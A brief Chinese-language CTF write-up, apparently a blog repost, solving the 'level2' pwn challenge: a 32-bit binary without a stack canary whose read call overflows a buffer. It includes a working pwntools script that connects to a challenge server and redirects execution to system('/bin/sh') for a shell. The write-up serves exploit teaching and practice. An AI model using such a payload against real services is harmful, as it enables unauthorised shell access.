level2

level2

这题比较有趣(
放linux
在这里插入图片描述
这是个32位,没有金丝雀
那么放进ida32康康
在这里插入图片描述
点进去康康
在这里插入图片描述
可以看到read函数,0x100u可以判断这是一个栈溢出
康康buf的地址
在这里插入图片描述
其中 s是返回函数地址,r返回
可以利用栈溢出来随意调用函数
这题要调用system函数
而system函数的参数是/bin/sh
利用 Alt +T 搜索/bin/sh的地址
找出system的地址
开始写脚本

from pwn import *
p = remote('111.198.29.45', '42945')
#system的地址 = 0x804A038
system = 0x8048320
bin_sh = 0x804A024
#/bin/sh 的地址
payload = 'a' * (0x88 + 0x04) + p32(system) + p32(0) + p32(bin_sh)
p.send(payload)
p.interactive()

得到flag
看来也不是多难

猜你喜欢

转载自blog.csdn.net/wuyvle/article/details/112974263